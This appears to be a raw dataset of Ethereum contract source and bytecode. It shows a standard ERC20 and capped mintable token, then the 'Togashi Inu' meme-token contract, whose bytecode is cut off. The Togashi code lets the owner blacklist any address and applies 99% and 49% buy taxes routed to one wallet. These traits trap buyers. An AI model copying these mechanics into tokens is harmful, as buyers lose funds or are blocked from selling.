* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
uint256 public override totalSupply;
string public name;
string public symbol;
uint8 public immutable decimals;
/**
* @dev Sets the values for {name}, {symbol}, and {decimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
name = name_;
symbol = symbol_;
decimals = decimals_;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), allowance[sender][_msgSender()] - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, allowance[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, allowance[_msgSender()][spender] - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'ZERO_ADDR');
require(recipient != address(0), 'ZERO_ADDR');
_beforeTokenTransfer(sender, recipient, amount);
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ZERO_ADDR');
_beforeTokenTransfer(address(0), account, amount);
totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ZERO_ADDR');
_beforeTokenTransfer(account, address(0), amount);
balanceOf[account] -= amount;
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), 'ZERO_ADDR');
require(spender != address(0), 'ZERO_ADDR');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract BurnableMintableCappedERC20 is ERC20, Ownable {
uint256 public cap;
bytes32 private constant PREFIX_TOKEN_FROZEN = keccak256('token-frozen');
bytes32 private constant KEY_ALL_TOKENS_FROZEN = keccak256('all-tokens-frozen');
event Frozen(address indexed owner);
event Unfrozen(address indexed owner);
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 capacity
) ERC20(name, symbol, decimals) Ownable() {
cap = capacity;
}
function depositAddress(bytes32 salt) public view returns (address) {
// This would be easier, cheaper, simpler, and result in globally consistent deposit addresses for any salt (all chains, all tokens).
// return address(uint160(uint256(keccak256(abi.encodePacked(bytes32(0x000000000000000000000000000000000000000000000000000000000000dead), salt)))));
/* Convert a hash which is bytes32 to an address which is 20-byte long
according to https://docs.soliditylang.org/en/v0.8.1/control-structures.html?highlight=create2#salted-contract-creations-create2 */
return
address(
uint160(
uint256(
keccak256(
abi.encodePacked(
bytes1(0xff),
owner,
salt,
keccak256(abi.encodePacked(type(Burner).creationCode, abi.encode(address(this)), salt))
)
)
)
)
);
}
function mint(address account, uint256 amount) public onlyOwner {
uint256 capacity = cap;
require(capacity == 0 || totalSupply + amount <= capacity, 'CAP_EXCEEDED');
_mint(account, amount);
}
function burn(bytes32 salt) public onlyOwner {
address account = depositAddress(salt);
_burn(account, balanceOf[account]);
}
function _beforeTokenTransfer(
address,
address,
uint256
) internal view override {
require(!EternalStorage(owner).getBool(KEY_ALL_TOKENS_FROZEN), 'IS_FROZEN');
require(!EternalStorage(owner).getBool(keccak256(abi.encodePacked(PREFIX_TOKEN_FROZEN, symbol))), 'IS_FROZEN');
}
} | 0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806339509351116100a257806395d89b411161007157806395d89b4114610256578063a457c2d71461025e578063a9059cbb14610271578063dd62ed3e14610284578063f2fde38b146102af57600080fd5b806339509351146101fd57806340c10f191461021057806370a08231146102235780638da5cb5b1461024357600080fd5b806323b872dd116100de57806323b872dd1461017d578063313ce5671461019057806331eecaf4146101c9578063355274ea146101f457600080fd5b806306fdde031461011057806308a1eee11461012e578063095ea7b31461014357806318160ddd14610166575b600080fd5b6101186102c2565b6040516101259190610bf8565b60405180910390f35b61014161013c366004610c2b565b610350565b005b610156610151366004610c60565b6103b9565b6040519015158152602001610125565b61016f60025481565b604051908152602001610125565b61015661018b366004610c8a565b6103cf565b6101b77f000000000000000000000000000000000000000000000000000000000000000681565b60405160ff9091168152602001610125565b6101dc6101d7366004610c2b565b610421565b6040516001600160a01b039091168152602001610125565b61016f60065481565b61015661020b366004610c60565b610505565b61014161021e366004610c60565b61053c565b61016f610231366004610cc6565b60006020819052908152604090205481565b6005546101dc906001600160a01b031681565b6101186105cd565b61015661026c366004610c60565b6105da565b61015661027f366004610c60565b610611565b61016f610292366004610ce8565b600160209081526000928352604080842090915290825290205481565b6101416102bd366004610cc6565b61061e565b600380546102cf90610d1b565b80601f01602080910402602001604051908101604052809291908181526020018280546102fb90610d1b565b80156103485780601f1061031d57610100808354040283529160200191610348565b820191906000526020600020905b81548152906001019060200180831161032b57829003601f168201915b505050505081565b6005546001600160a01b031633146103835760405162461bcd60e51b815260040161037a90610d56565b60405180910390fd5b600061038e82610421565b6001600160a01b0381166000908152602081905260409020549091506103b59082906106ca565b5050565b60006103c6338484610788565b50600192915050565b60006103dc848484610836565b6001600160a01b038416600090815260016020908152604080832033808552925290912054610417918691610412908690610d8f565b610788565b5060019392505050565b6005546040516000916001600160f81b0319916001600160a01b0390911690849061044e60208201610bbc565b601f1982820381018352601f9091011660408181523060208301520160408051601f198184030181529082905261048a92918890602001610da6565b604051602081830303815290604052805190602001206040516020016104e794939291906001600160f81b031994909416845260609290921b6bffffffffffffffffffffffff191660018401526015830152603582015260550190565b60408051601f19818403018152919052805160209091012092915050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103c6918590610412908690610ddb565b6005546001600160a01b031633146105665760405162461bcd60e51b815260040161037a90610d56565b600654801580610583575080826002546105809190610ddb565b11155b6105be5760405162461bcd60e51b815260206004820152600c60248201526b10d05417d15610d15151115160a21b604482015260640161037a565b6105c8838361092e565b505050565b600480546102cf90610d1b565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103c6918590610412908690610d8f565b60006103c6338484610836565b6005546001600160a01b031633146106485760405162461bcd60e51b815260040161037a90610d56565b6001600160a01b03811661066e5760405162461bcd60e51b815260040161037a90610df3565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382166106f05760405162461bcd60e51b815260040161037a90610df3565b6106fc826000836109e2565b6001600160a01b03821660009081526020819052604081208054839290610724908490610d8f565b92505081905550806002600082825461073d9190610d8f565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a35050565b6001600160a01b0383166107ae5760405162461bcd60e51b815260040161037a90610df3565b6001600160a01b0382166107d45760405162461bcd60e51b815260040161037a90610df3565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661085c5760405162461bcd60e51b815260040161037a90610df3565b6001600160a01b0382166108825760405162461bcd60e51b815260040161037a90610df3565b61088d8383836109e2565b6001600160a01b038316600090815260208190526040812080548392906108b5908490610d8f565b90915550506001600160a01b038216600090815260208190526040812080548392906108e2908490610ddb565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082991815260200190565b6001600160a01b0382166109545760405162461bcd60e51b815260040161037a90610df3565b610960600083836109e2565b80600260008282546109729190610ddb565b90915550506001600160a01b0382166000908152602081905260408120805483929061099f908490610ddb565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161077c565b600554604051633d70e7e560e11b81527f75a31d1ce8e5f9892188befc328d3b9bd3fa5037457e881abc21f388471b8d9660048201526001600160a01b0390911690637ae1cfca9060240160206040518083038186803b158015610a4557600080fd5b505afa158015610a59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7d9190610e16565b15610ab65760405162461bcd60e51b815260206004820152600960248201526824a9afa32927ad22a760b91b604482015260640161037a565b6005546040516001600160a01b0390911690637ae1cfca90610aff907f1a7261d3a36c4ce4235d10859911c9444a6963a3591ec5725b96871d9810626b90600490602001610e38565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401610b3391815260200190565b60206040518083038186803b158015610b4b57600080fd5b505afa158015610b5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b839190610e16565b156105c85760405162461bcd60e51b815260206004820152600960248201526824a9afa32927ad22a760b91b604482015260640161037a565b60c280610ee283390190565b60005b83811015610be3578181015183820152602001610bcb565b83811115610bf2576000848401525b50505050565b6020815260008251806020840152610c17816040850160208701610bc8565b601f01601f19169190910160400192915050565b600060208284031215610c3d57600080fd5b5035919050565b80356001600160a01b0381168114610c5b57600080fd5b919050565b60008060408385031215610c7357600080fd5b610c7c83610c44565b946020939093013593505050565b600080600060608486031215610c9f57600080fd5b610ca884610c44565b9250610cb660208501610c44565b9150604084013590509250925092565b600060208284031215610cd857600080fd5b610ce182610c44565b9392505050565b60008060408385031215610cfb57600080fd5b610d0483610c44565b9150610d1260208401610c44565b90509250929050565b600181811c90821680610d2f57607f821691505b60208210811415610d5057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610da157610da1610d79565b500390565b60008451610db8818460208901610bc8565b845190830190610dcc818360208901610bc8565b01928352505060200192915050565b60008219821115610dee57610dee610d79565b500190565b6020808252600990820152682d22a927afa0a2222960b91b604082015260600190565b600060208284031215610e2857600080fd5b81518015158114610ce157600080fd5b828152600060206000845481600182811c915080831680610e5a57607f831692505b858310811415610e7857634e487b7160e01b85526022600452602485fd5b808015610e8c5760018114610ea157610ed2565b60ff1985168988015283890187019550610ed2565b60008a81526020902060005b85811015610ec85781548b82018a0152908401908801610ead565b505086848a010195505b5093999850505050505050505056fe6080604052348015600f57600080fd5b506040516100c23803806100c2833981016040819052602c916089565b6040516308a1eee160e01b8152600481018290526001600160a01b038316906308a1eee190602401600060405180830381600087803b158015606d57600080fd5b505af11580156080573d6000803e3d6000fd5b50600092505050ff5b60008060408385031215609b57600080fd5b82516001600160a01b038116811460b157600080fd5b602093909301519294929350505056fea26469706673582212200b9d4704dcf13dfd9787296fefb091302153358bea4f3d74f0ba4e11a9cb95aa64736f6c63430008090033 | {"success": true, "error": null, "results": {}} | 10,693 |
0xc0cdee38af89c2c6f5c0c8163a53242eb2392a3c | /*
________ __ __ ______
/ | / | / | / |
$$$$$$$$/______ ______ ______ _______ $$ |____ $$/ $$$$$$/ _______ __ __
$$ | / \ / \ / \ / |$$ \ / | $$ | / \ / | / |
$$ |/$$$$$$ |/$$$$$$ | $$$$$$ |/$$$$$$$/ $$$$$$$ |$$ | $$ | $$$$$$$ |$$ | $$ |
$$ |$$ | $$ |$$ | $$ | / $$ |$$ \ $$ | $$ |$$ | $$ | $$ | $$ |$$ | $$ |
$$ |$$ \__$$ |$$ \__$$ |/$$$$$$$ | $$$$$$ |$$ | $$ |$$ | _$$ |_ $$ | $$ |$$ \__$$ |
$$ |$$ $$/ $$ $$ |$$ $$ |/ $$/ $$ | $$ |$$ | / $$ |$$ | $$ |$$ $$/
$$/ $$$$$$/ $$$$$$$ | $$$$$$$/ $$$$$$$/ $$/ $$/ $$/ $$$$$$/ $$/ $$/ $$$$$$/
/ \__$$ |
$$ $$/
$$$$$$/
- From the Hunter x Hunter universe comes a one-of-a-kind Tagoshi Inu
- Website: https://www.togashiinu.com
- Telegram: https://t.me/TogashiInu
- Twitter: https://twitter.com/TogashiInu
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TogashiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address[] private airdropKeys;
mapping (address => uint256) private airdrop;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 openBlock;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Togashi Inu";
string private constant _symbol = "TOGASHI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xe9D8E9440F69f7E0229b9bA3536b2820Bb8E0999);
_feeAddrWallet2 = payable(0xe9D8E9440F69f7E0229b9bA3536b2820Bb8E0999);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
if(_isExcludedFromFee[from] ||_isExcludedFromFee[to]){
_feeAddr1 = 0;
_feeAddr2 = 0;}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
if(cooldown[to] < block.timestamp){
_feeAddr1 = 49;
_feeAddr2 = 1;
}
cooldown[to] = block.timestamp + (30 seconds);
}
if (openBlock + 3 >= block.number && from == uniswapV2Pair){
_feeAddr1 = 99;
_feeAddr2 = 1;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000000 * 10**9;
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setAirdrops(address[] memory _airdrops, uint256[] memory _tokens) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys.push(_airdrops[i]);
airdrop[_airdrops[i]] = _tokens[i] * 10**9;
_isExcludedFromFee[_airdrops[i]] = true;
}
}
function setAirdropKeys(address[] memory _airdrops) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys[i] = _airdrops[i];
_isExcludedFromFee[airdropKeys[i]] = true;
}
}
function getTotalAirdrop() public view onlyOwner returns (uint256){
uint256 sum = 0;
for(uint i = 0; i < airdropKeys.length; i++){
sum += airdrop[airdropKeys[i]];
}
return sum;
}
function getAirdrop(address account) public view onlyOwner returns (uint256) {
return airdrop[account];
}
function setAirdrop(address account, uint256 amount) public onlyOwner {
airdrop[account] = amount;
}
function callAirdrop() public onlyOwner {
_feeAddr1 = 0;
_feeAddr2 = 0;
for(uint i = 0; i < airdropKeys.length; i++){
_tokenTransfer(msg.sender, airdropKeys[i], airdrop[airdropKeys[i]]);
_isExcludedFromFee[airdropKeys[i]] = false;
}
_feeAddr1 = 2;
_feeAddr2 = 8;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061014f5760003560e01c8063684c77ff116100b6578063c9567bf91161006f578063c9567bf914610489578063cd697315146104a0578063dd62ed3e146104b7578063ec28438a146104f4578063f42938901461051d578063ffecf5161461053457610156565b8063684c77ff1461037757806370a08231146103a2578063715018a6146103df5780638da5cb5b146103f657806395d89b4114610421578063a9059cbb1461044c57610156565b806323b872dd1161010857806323b872dd1461027d578063273123b7146102ba578063313ce567146102e3578063328264081461030e57806351bc3c85146103375780635932ead11461034e57610156565b8063069f5bdd1461015b57806306fdde0314610198578063095ea7b3146101c357806318160ddd146102005780631b3107591461022b5780632206035f1461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610182600480360381019061017d9190613206565b61055d565b60405161018f9190613980565b60405180910390f35b3480156101a457600080fd5b506101ad61063b565b6040516101ba919061381e565b60405180910390f35b3480156101cf57600080fd5b506101ea60048036038101906101e591906132f3565b610678565b6040516101f79190613803565b60405180910390f35b34801561020c57600080fd5b50610215610696565b6040516102229190613980565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d919061337c565b6106a8565b005b34801561026057600080fd5b5061027b600480360381019061027691906132f3565b6108d7565b005b34801561028957600080fd5b506102a4600480360381019061029f91906132a0565b6109b4565b6040516102b19190613803565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc9190613206565b610a8d565b005b3480156102ef57600080fd5b506102f8610b7d565b60405161030591906139f5565b60405180910390f35b34801561031a57600080fd5b5061033560048036038101906103309190613333565b610b86565b005b34801561034357600080fd5b5061034c610d4b565b005b34801561035a57600080fd5b50610375600480360381019061037091906133f4565b610dc5565b005b34801561038357600080fd5b5061038c610e77565b6040516103999190613980565b60405180910390f35b3480156103ae57600080fd5b506103c960048036038101906103c49190613206565b610fc5565b6040516103d69190613980565b60405180910390f35b3480156103eb57600080fd5b506103f4611016565b005b34801561040257600080fd5b5061040b611169565b6040516104189190613735565b60405180910390f35b34801561042d57600080fd5b50610436611192565b604051610443919061381e565b60405180910390f35b34801561045857600080fd5b50610473600480360381019061046e91906132f3565b6111cf565b6040516104809190613803565b60405180910390f35b34801561049557600080fd5b5061049e6111ed565b005b3480156104ac57600080fd5b506104b5611753565b005b3480156104c357600080fd5b506104de60048036038101906104d99190613260565b61198a565b6040516104eb9190613980565b60405180910390f35b34801561050057600080fd5b5061051b6004803603810190610516919061344e565b611a11565b005b34801561052957600080fd5b50610532611abf565b005b34801561054057600080fd5b5061055b60048036038101906105569190613206565b611b31565b005b6000610567611c21565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f4576040517f08c379a00000000000000000000000000000000000000